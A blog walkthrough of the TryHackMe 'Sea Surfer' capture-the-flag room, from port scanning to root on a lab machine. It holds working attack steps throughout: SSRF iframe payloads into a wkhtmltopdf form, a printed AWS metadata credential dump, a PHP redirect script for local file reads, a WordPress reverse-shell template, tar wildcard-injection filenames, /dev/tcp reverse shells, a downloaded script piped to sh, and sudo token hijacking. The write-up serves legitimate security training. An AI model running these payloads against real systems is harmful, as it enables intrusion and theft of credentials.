[TryHackMe] Sea Surfer

[TryHackMe] Sea Surfer

https://tryhackme.com/room/seasurfer

·

12 min read

It's a beautiful day to hit the beach and do some surfing. Please allow up to 5 minutes for the machine to boot up.

Footprinting

Open ports

Nmap scan:

kali@kali:~$ sudo nmap -sS -Pn -v10 -oA syn_full 10.10.155.36
Discovered open port 80/tcp on 10.10.155.36
Discovered open port 22/tcp on 10.10.155.36
kali@kali:~$ sudo nmap -v10 -sC -sV -p22,80 -oA nse 10.10.155.36
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 60 OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 87:e3:d4:32:cd:51:d2:96:70:ef:5f:48:22:50:ab:67 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCyQtbtTbXITp+A3lHCXTmOYEd3nuF2kZuQ02sjsxLFIE31lelQ+yZMOCwzcC/MohqAcs2LLmfdVi2TJfuOVC0dZ6bkMUdbeF65UtptaUClLuxhdtMkZNxJlAgQSx8d0p3H+JnAmTD5CVeU/x0RlTKRzQDiynKtszcrWjWzZ6DGM7rWjTtGcYOaFObWN66bKrZtQOQw2Fp6LX5aNIqAoxhb3orPKjFUUlcdVzaesX2KBbJsNBDiEF3gGtoK6nJzi9L+NMFAK2Rl06G6vBqxYUc6PKL0M+ovoCEtxeZsH9/R2WqWZ3vB2B8PzqafYFP3chMMcdewG89CCdxmyyFuyGt/kf7L7OLJTWsYiJvLUPFAEyymn4GcfzIcOl/XXVr1hIoTOCDukS0dMWdAvnaaZOMharud9fowd+eAG3LowJnyu2O2OBg6pdpdQzuW9DFmy7etBIlbaSvG+l/8pmgJ3RWSLXDQEl5kZDGXLM6A3qcUqtSOK7ww9IvN8IYxlhyQ0kk=
|   256 27:d1:37:b0:c5:3c:b5:81:6a:7c:36:8a:2b:63:9a:b9 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEhRgdpnS6QXS+haDKzUdKS0IP+HZz749jjQOx9ECJ+ypGOT6Q65NUeHaU49cqARe4kKi9/+Yl/W3U2J4wJKgBw=
|   256 7f:13:1b:cf:e6:45:51:b9:09:43:9a:23:2f:50:3c:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIZ39ZNVX7VJgmO8M/Vhb9lm35it42Ho7crlLqYhVhAT
80/tcp open  http    syn-ack ttl 60 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP

The main web page contains the default Apache page.

Enumeration

Enumerating the web resources discloses no sensitive information:

kali@kali:~$ ffuf -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt -t 50 -u http://10.10.155.36/FUZZ -fc 404,403
index.html              [Status: 200, Size: 10918, Words: 3499, Lines: 376, Duration: 1522ms]
.                       [Status: 200, Size: 10918, Words: 3499, Lines: 376, Duration: 639ms]

However, there is an uncommon header in the response:

>>>
GET / HTTP/1.1
Host: 10.10.155.36

<<<
HTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
X-Backend-Server: seasurfer.thm

This header is likely to leak a backend server:

Armed with this information an attacker may be able to attack other systems or more directly/efficiently attack those systems.

Therefore, let's add it to our locally known hosts:

kali@kali:~$ sudo vim /etc/hosts
10.10.155.36 seasurfer.thm

And visit that new web page using the virtual hosting mechanism:

>>>
GET / HTTP/1.1
Host: seasurfer.thm

<<<
HTTP/1.1 500 Internal Server Error

Error establishing a database connection

This Wordpress error made the website unavailable, and was initially triggered for free TryHackMe users only.

After some time, the issue was resolved by the THM staff and the website became available.

Some of the interesting information from the web pages are:

sales@seasurfer.th
support@seasurfer.thm
Made by kyle! <3

Maya Martins
Brandon Baker
Kyle King

kyle is a valid username, as the wp-login.php error message is too explicit by saying the password is invalid. Unfortunately, his password couldn't be cracked:

kali@kali:~$ wpscan --url http://seasurfer.thm/wordpress -U kyle -P /usr/share/wordlists/rockyou.txt

Internal website

Then, I checked if there is any valid subdomain:

kali@kali:~$ ffuf -v -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://seasurfer.thm -t 50 -H "Host: FUZZ.seasurfer.thm" -fw 3499

[Status: 200, Size: 3072, Words: 225, Lines: 109, Duration: 3432ms]
| URL | http://seasurfer.thm
    * FUZZ: internal

The responses with 3499 words (the default Apache page) are filtered, as they correspond to invalid domains.

Once the internal.searsurfer.thm domain was added to /etc/hosts, we see the internal website contains a payment form:

>>>
GET /output.php?name=jamarir&payment=Credit+card&comment=Wonderful+comment&item1=Book&price1=1337 HTTP/1.1
Host: internal.seasurfer.thm

<<<
HTTP/1.1 302 Found
Server: Apache/2.4.41 (Ubuntu)
Location: http://internal.seasurfer.thm/invoices/18062022-5oRViF9ZFR4sRwAZ5EsB.pdf

The request converts the HTML page into a PDF via wkhtmltopdf:

kali@kali:~$ exiftool 18062022-W8k8w8hfMKGQhVKPlWIn.pdf
Creator                         : wkhtmltopdf 0.12.5
Producer                        : Qt 4.8.7

Actually, the form is vulnerable to Server-Side XSS injection through the PDF output. Indeed, when the bot is converting the HTML page, it first executes JS code in the page.

As a PoC, I injected <b>test</b> into the comment field, and the PDF contained the bolded text: "test" :). However, it was not possible to read arbitrary files in the server using the file:// scheme :/

<script>document.write('<iframe src=file:///etc/passwd></iframe>');</script>

Indeed, the browser's console showed:

Security Error: Content at internal.seasurfer.thm/invoice.php?name=[...] may not load or link to file:///etc/passwd.

Sea SSRFer

Even if no LFI could be exploited, it was possible to trigger an SSRF using the following payload:

>>>
<iframe src="http://localhost/server-status" height="500" width="500"></iframe>` in the form.

<<<
Apache Server Status for localhost (via 127.0.0.1)
Server Version: Apache/2.4.41 (Ubuntu)
Server MPM: prefork

[...]

Apache/2.4.41 (Ubuntu) Server at localhost Port 80

Thus, we could exploit the trust relationship between the Apache server and the web server to read server-status !

But I couldn't find other sensitive resources :/

Then, I hosted a local web (with verbose logs) in order to retrieve the server's User-Agent using a custom HTTP server python script:

kali@kali:~$ python 3serv.py
10.17.8.104 - - [<DATE>] "GET / HTTP/1.1" 200 -
ERROR:root:User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) wkhtmltopdf Safari/534.34
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://internal.seasurfer.thm/invoice.php?name=a&payment=Credit+card&comment=a&item1=%3Ciframe+src%3D%22http%3A%2F%2F10.17.8.104%3A48888%22%3E&price1=1&id=18062022-XJLxpyNp4jOXyWqBis7g
Connection: Keep-Alive
Accept-Encoding: gzip
Accept-Language: en,*
Host: 10.17.8.104:8000

3serv.py could be replaced by nc in order to get verbose logs.

The User-Agent is the same as here, namely Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) wkhtmltopdf Safari/534.34.

AWS instance (rabbit hole)

I realized the target is an AWS instance. Therefore, we can use the SSRF to read its metadata via the AWS API's:

>>>
<iframe src="http://169.254.169.254/latest/dynamic/instance-identity/" height="500" width="500">

<<<
document
pkcs7
signature
rsa2048

For example, I could retrieve a SecretAccessKey:

>>>
<iframe src="http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance" height="1000" width="500">

<<<
{
"Code" : "Success",
"LastUpdated" : "2022-06-18T22:11:17Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA2YR2KKQM5YWXSC5B",
"SecretAccessKey" : "D5fDWlJ0grJX9Ia+/vx63s2Z1FHb44XZlwKlP2GI",
"Token" :
"IQoJb3JpZ2luX2VjEO///////////wEaCWV1LXdlc3QtMSJIMEYCIQDDSQNLfQa/F2
Y06slDCBS0twuYV7YbeINCflW6w4tezAIhAM6VVzJGxPfj1Df3yG7dRr1IC157
AfVHCM9WK9fMMK+LKrEECPf//////////wEQAhoMNzM5OTMwNDI4NDQxIgyK
uXjNP4jpulBkiWgqhQSKWSaBQb+8aG0JGbkTwYhUVrLcLXwSCwOUyIA08G
F+2e3DQEpUmrknsFyQcuxo1Rj3lYENfxU1sY83BGurAjfuPHTpZdPU6duCwF
jSKopqoUIES0Yvn+RdBjS6x/Uq141x55dLFvAcU6VNvnmAyc5a0WAo+wRC
E7JrogjOw0VGq2HU1wvqp0GNEl0upklWsIn0qVZ9DHd/dcDZqPzVZs79EAK
xNuJchCEa1OqnQJ0ifLPf2ecKCEX4oPNZVbL5pHobP8hMSdUPhlWtjfOzDOC1
3Ey4n5VlskeAh0Tt0X+2dF9iPUzZKu3uptc/VXVW9ZEzRBKvXoCPP76Oli/jDJ
DQd8ZoYpL64rO1bQdHss1ilQPLm695XkxzRdxRUHybE2pFUVbN8CyWlu0y
4criQu9sBXw3fjpzap/6XJB+3cMwhNZFrbiY8Yalr90kciR4hV2Nc2asUOImPw
ZAVdg2/wVmsu8C7FNtO/9196snClgL3j9LR+SRfehckbQYi0AoiU9WcxjW41
T/ONUdSbeEYCCX6MbT8oDePgao4RK84iGWxawxFRhI3K30EhalcUDLRfBUf
XJ2/y95EPxkiiLGARh4ZzAaV2wxgiu8E8/ofhHJJleRD4JaF2H0JZ9LPSvpowDs9
ihg+NCRyIoZh+IQxD6FiaxIdMIjyi9+T3QmJU3XqM1UKO/LMKqbuZUGOo4C
3VgViZXPJe7Pw1LNGTome6/9YgN4aiW7iAfCE122F50rzJIrppIdUDEorzaSVl
+c+vfl5adlcsVSdR2rWgI2fPXYlBK8xfsjUm0SgFnBxKNABEp7i/Kjtz8wiRDuO
IceeDOSU49qSob0GZ+e8UWwFsGnc9ii+lfVXqkldTH4xWeAOHBpgEa1VZy
nHufkceYo5ISbO4UvHwBWUEStq2rEtvB1dlimLH5NZDAS5iqyKfXJPPsQmm
hVGAxKaxqjm2Bh6O9YnUuq+OQBzLTXf+1F//Dn20AI1Ld6wbosBN3weyLs
qW88jdtfeqZnFeqymcpP8w3Zh5I869Iklzwz3+cMqtnGQwvxW7p9eVDoHl1
O",
"Expiration" : "2022-06-19T04:11:56Z"
}

However, exploiting AWS is out of the scope for this CTF.

More information here.

SSRF to LFI

After some hours, I discovered wkhtmltopdf might be vulnerable to LFI:

wkhtmltoimage convert a http status code 302 url,it may redirect to a local host

Thus, using the SSRF, we can host and request the following PHP script to read arbitrary files in the web server:

kali@kali:~$ cat exfiltrate.php
<?php header('location:file://'.$_REQUEST['x']); ?>

kali@kali:~$ php -S 0.0.0.0:48888

Then, the x parameter should contain the path to the server's file:

>>>
<iframe height="2000" width="800" src="http://10.17.8.104:48888/exfiltrate.php?x=/etc/passwd"></iframe>

<<<
[<DATE>] 10.10.155.36:54084 [302]: GET /exfiltrate.php?x=/etc/passwd

<<<
root:x:0:0:root:/root:/bin/bash
[...]
kyle:x:1000:1000:Kyle:/home/kyle:/bin/bash
[...]

However, I couldn't find other interesting files (such as kyle's SSH key).

But generally, the virtual host's configuration files' paths are /etc/apache2/sites-available/DOMAIN.conf, where DOMAIN is the Host header used to access the virtual host.

Nevertheless, the files internal.seasurfer.thm.conf and seasurfer.thm.conf don't exist. Then, I guessed that internal.conf exists:

<VirtualHost *:80>
  DirectoryIndex index.php
  ServerAdmin webmaster@localhost
  DocumentRoot /var/www/internal
  ServerName internal.seasurfer.thm
  ErrorLog ${APACHE_LOG_DIR}/error.log
  CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

The DocumentRoot directory (where the web pages are stored in the server) is /var/www/internal.

Wordpress

I also guessed the directory /var/www/wordpress exists, by checking its /var/www/wordpress/wp-config.php configuration file:

[...]
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wo[...]er' );
define( 'DB_PASSWORD', 'co[...]an' );
define( 'DB_HOST', 'localhost' );
define( 'DB_CHARSET', 'utf8' );
define( 'DB_COLLATE', '' );
[...]

But what to do with these credentials ?

big.txt & Adminer

Fuzzing the resources of the wordpress website using big.txt revealed an adminer folder:

kali@kali:~$ ffuf -c -w /usr/share/seclists/Discovery/Web-Content/big.txt  -t 5 -u http://seasurfer.thm/FUZZ -fc 404 -fs 0
.htaccess               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 254ms]
.htpasswd               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 250ms]
adminer                 [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 247ms]
[...]

From there, we could connect to the Wordpress's database using the wo[...]er:co[...]an credentials:

>>>
POST /adminer/ HTTP/1.1
Host: seasurfer.thm
Cookie: adminer_sid=m9gjaak285eka9j51cpejvuo5q; adminer_key=fe733279c0c9aabd1236b05ff68a6c8b

auth[driver]=server&auth[server]=localhost&auth[username]=wo[...]er&auth[password]=co[...]an&auth[db]=wordpress&auth[permanent]=1

In the wp_users table, we can read the kyle's encrypted password:

ID,user_login,user_pass,user_nicename,user_email,user_url,user_registered,user_activation_key,user_status,display_name
1,kyle,$P$Bu[...]i/,kyle,kyle@seasurfer.thm,http://seasurfer.thm,2022-04-17 19:32:10,"","0",kyle

If we wanna login as kyle, we could simply update his PHPass to 1234: $P$BI3bxLVZHQ8T2QiVoCTxrp7XcLMChF..

Once logged in, a standard reverse shell can be injected in the 404 Wordpress template:

kali@kali:~$ cat /usr/share/webshells/php/php-reverse-shell.php |xsel -b
[...]
$ip = '10.17.8.104';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
[...]

kali@kali:~$ nc -nlvp 1234

Here's the reverse shell :]

kali@kali:~$ curl http://seasurfer.thm/wp-content/themes/twentytwelve/404.php

listening on [any] 1234 ...
connect to [10.17.8.104] from (UNKNOWN) [10.10.155.36] 34378
Linux seasurfer 5.4.0-107-generic #121-Ubuntu SMP <DATE> UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
 19:09:34 up 28 min,  1 user,  load average: 0.00, 0.02, 0.22
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

Local Privilege Escalation

user.txt

www-data

Let's first stabilize our shell:

$ python3 -c "import pty; pty.spawn('/bin/bash')" || python -c "import pty; pty.spawn('/bin/bash')" || /usr/bin/script -qc /bin/bash /dev/null
# Press Ctrl+Z
kali@kali:~$ stty raw -echo; fg; reset;
www-data@seasurfer:/$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/tmp; alias l="ls -tuFlah --color=auto"; export SHELL=bash; export TERM=xterm-256color; stty rows 200 columns 200; reset;

kyle's backup script

In the internal website's directory, there is a maintenance folder containing a backup script:

www-data@seasurfer:/var/www/internal/maintenance$ ls -l
total 4
-rwxrwxr-x 1 kyle kyle 286 Apr 19 15:13 backup.sh

www-data@seasurfer:/var/www/internal/maintenance$ cat backup.sh
#!/bin/bash

# Brandon complained about losing _one_ receipt when we had 5 minutes of downtime, set this to run every minute now >:D
# Still need to come up with a better backup system, perhaps a cloud provider?

cd /var/www/internal/invoices
tar -zcf /home/kyle/backups/invoices.tgz *

According to the above comments, the program is run every minute. The fact that kyle is the owner of the script tends to mean that he is the user executing it.

tar exploitation

Check the following output:

kali@kali:~$ tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec='whoami'
tar: Removing leading `/' from member names
kali

Here, the archive and the file to compress are set to /dev/null.

As you can see, tar has a --checkpoint and --checkpoint-action which, when coupled, execute an arbitrary shell command:

kali@kali:~$ man tar
       --checkpoint[=N]
              Display progress messages every Nth record (default 10).

       --checkpoint-action=ACTION
              Run ACTION on each checkpoint.

Basically, --checkpoint displays a progress message (defined in --checkpoint-action) every time tar compressed a given amount of data:

The data in an archive is grouped into blocks, which are 512 bytes. Blocks are read and written in whole number multiples called records. The number of blocks in a record (i.e., the size of a record in units of 512 bytes) is called the blocking factor.

The default blocking factor is typically 20 (i.e., 10240 bytes), but can be specified at installation.

Therefore, the checkpoint is hit every time an amount of bytes is compressed. For example, let's set --checkpoint=2:

kali@kali:~$ s="8704"; dd if=/dev/urandom of="$s" bs=1 count="$s" status=progress 2>/dev/null; tar -cf /dev/null "$s" --checkpoint=2 --checkpoint-action=exec='whoami'
kali@kali:~$ s="8705"; dd if=/dev/urandom of="$s" bs=1 count="$s" status=progress 2>/dev/null; tar -cf /dev/null "$s" --checkpoint=2 --checkpoint-action=exec='whoami'
kali

In my case, the checkpoint was hit every 8705 bytes compressed. Anyway, setting --checkpoint=1 will always execute --checkpoint-action at least once.

However, how could we set the --checkpoint and --checkpoint-action options in backup.sh as we have no write access to the script ?

www-data@seasurfer:/var/www/internal/maintenance$ ls -l
total 4
-rwxrwxr-x 1 kyle kyle 286 Apr 19 15:13 backup.sh

The issue resides in the usage of the globbing process via the * wildcard. Indeed, when the wildcard is read by bash, it is replaced with the files present in the current directory.

Therefore, we can create 2 files which will set the tar options in the invoices folder:

www-data@seasurfer:/var/www/internal/invoices$ touch -- --checkpoint=1
www-data@seasurfer:/var/www/internal/invoices$ touch -- --checkpoint-action="exec=id>id.txt"
www-data@seasurfer:/var/www/internal/invoices$ touch foo

After one minute, the id.txt file is created !

www-data@seasurfer:/var/www/internal/invoices$ cat id.txt
uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev)

Therefore, I tried to launch a reverse shell to impersonate kyle:

www-data@seasurfer:/var/www/internal/invoices$ echo 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1' |base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx
www-data@seasurfer:/var/www/internal/invoices$ touch -- --checkpoint=1
www-data@seasurfer:/var/www/internal/invoices$ touch -- --checkpoint-action=exec="echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx |base64 -d |sh"
www-data@seasurfer:/var/www/internal/invoices$ nc -nlvp 4444
Listening on 0.0.0.0 4444

The above reverse shell didn't work :/. But the following worked !

www-data@seasurfer:/var/www/internal/invoices$ echo 'bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"' > revshell.sh
www-data@seasurfer:/var/www/internal/invoices$ touch -- --checkpoint=1
www-data@seasurfer:/var/www/internal/invoices$ touch -- --checkpoint-action=exec="bash revshell.sh"
www-data@seasurfer:/var/www/internal/invoices$ nc -lnvp 4444
Listening on 0.0.0.0 4444
Connection received on 127.0.0.1 58906
bash: cannot set terminal process group (4384): Inappropriate ioctl for device
bash: no job control in this shell
kyle@seasurfer:/var/www/internal/invoices$

We finally get the user.txt flag :]

kyle@seasurfer:~$ cat user.txt
THM{SS[...]CE}

root.txt

Now, we want to become root.

Let's first host a local web server containing linpeas.sh to spot common vulnerabilities:

kali@kali:~$ wget https://github.com/carlospolop/PEASS-ng/releases/download/20220619/linpeas.sh -O /usr/local/bin/linpeas.sh
kali@kali:~$ python -m http.server 48888 -d /usr/local/bin/

It is possible to run bash scripts on the fly using wget:

www-data@seasurfer:/tmp/a$ wget http://10.17.8.104:48888/linpeas.sh -O - |sh |tee -a linpeas.txt
www-data@seasurfer:/tmp/a$ less -r linpeas.txt

The following output was particularly interesting:

kyle        1131  0.0  0.1   6892  2328 pts/0    Ss+  21:46   0:00  _ bash -c sudo /root/admincheck; sleep infinity

[...]

Jun 20 22:27:09 seasurfer sudo:     kyle : 1 incorrect password attempt ; TTY=pts/3 ; PWD=/home/kyle ; USER=root ; COMMAND=list
    password: $6$hq[...]hV/

Indeed, kyle has run a file in the /root folder with sudo in the 1131 process.

On top of that, the linpeas's outputs show ptrace protection is disabled, which prevents the re-usage of sudo tokens:

╔══════════╣ Checking sudo tokens
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#reusing-sudo-tokens
ptrace protection is disabled (0)
gdb wasn't found in PATH, this might still be vulnerable but linpeas won't be able to check it

Hacktrickz cheasheet describes that exploit:

In the scenario where you have a shell as a user with sudo privileges but you don't know the password of the user, you can wait him to execute some command using sudo.

Then, you can access the token of the session where sudo was used and use it to execute anything as sudo (privilege escalation).

Also, a link to a GitHub page provides more details and tools to reuse sudo tokens:

We all noticed that sometimes sudo doesn't ask us for a password because he remembers us. How does he remember us and how does he identifies us? Can we falsify our identity and become root?

sudo creates a file for each linux user in /var/run/sudo/ts/[username]. These files contain both successful and failed authentications, then sudo uses these files to remember all the authenticated processes.

It also precises that gaining root privilege by abusing sudo tokens requires some prerequisites:

You already have a shell as user kyle

kyle@seasurfer:~$ whoami
kyle

kyle have used sudo to execute something in the last 15mins (by default that's the duration of the sudo token that allows to use sudo without introducing any password)

kyle@seasurfer:~$ ps faux |grep sudo |grep ^`whoami`
kyle        1131  0.0  0.1   6892  2328 pts/0    Ss+  21:46   0:00  _ bash -c sudo /root/admincheck; sleep infinity

cat /proc/sys/kernel/yama/ptrace_scope is 0

kyle@seasurfer:~$ cat /proc/sys/kernel/yama/ptrace_scope
0

gdb is accessible (you can be able to upload it)

Here, we can't install gdb using sudo apt install gdb, as we don't know kyle's password to run sudo. Therefore, we could instead download the .deb package, which actually is an archive file:

Debian packages are standard Unix ar archives that include two tar archives. One archive holds the control information and another contains the installable data.

The apt repo in the box is fi.archive.ubuntu.com/ubuntu:

kyle@seasurfer:~$ grep -v "^#" /etc/apt/sources.list
deb http://fi.archive.ubuntu.com/ubuntu focal main restricted
[...]

From there, we can download it locally and extract it using ar:

kali@kali:~$ wget http://fi.archive.ubuntu.com/ubuntu/pool/main/g/gdb/gdb_9.1-0ubuntu1_amd64.deb -O gdb.deb
kali@kali:~$ ar x gdb.deb
kali@kali:~$ xz -d data.tar.xz && tar xvf data.tar
kali@kali:~$ python3 -m http.server -d usr/bin/ 48888
kyle@seasurfer:~$ wget http://10.17.8.104:48888/gdb

Let's transfer the sudo_injectproject in the target machine:

kali@kali:~$ wget https://github.com/nongiach/sudo_inject/archive/refs/heads/master.zip
kali@kali:~$ unzip master.zip && tar cvf sudo_inject-master.tar sudo_inject-master
kali@kali:~$ python3 -m http.server 48888
kyle@seasurfer:~$ wget http://10.17.8.104:48888/sudo_inject-master.tar
kyle@seasurfer:~$ tar xvf sudo_inject-master.tar

One of the requirements for the exploit to succeed was to make sure the sudo command has been run in the last 15mins (default configuration). As the sudo seems to be run once when the machine boots, I restarted the VM and ran the exploit straightly.

Finally, we can put the gdb binary in a $PATH folder:

kyle@seasurfer:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/tmp
kyle@seasurfer:~$ cp ./gdb /tmp/gdb

And reuse the sudo token to become root!

kyle@seasurfer:~/sudo_inject-master$ sh exploit.sh
Current process : 1419
Injecting process 1221 -> sh
[...]
Injecting process 1411 -> bash
cat: /proc/1424/comm: No such file or directory
Injecting process 1424 ->
kyle@seasurfer:~/sudo_inject-master$ sudo su

root@seasurfer:/home/kyle/sudo_inject-master# cat /root/root.txt
THM{ST[...]NS}

Did you find this article valuable?

Support jamarir's blog by becoming a sponsor. Any amount is appreciated!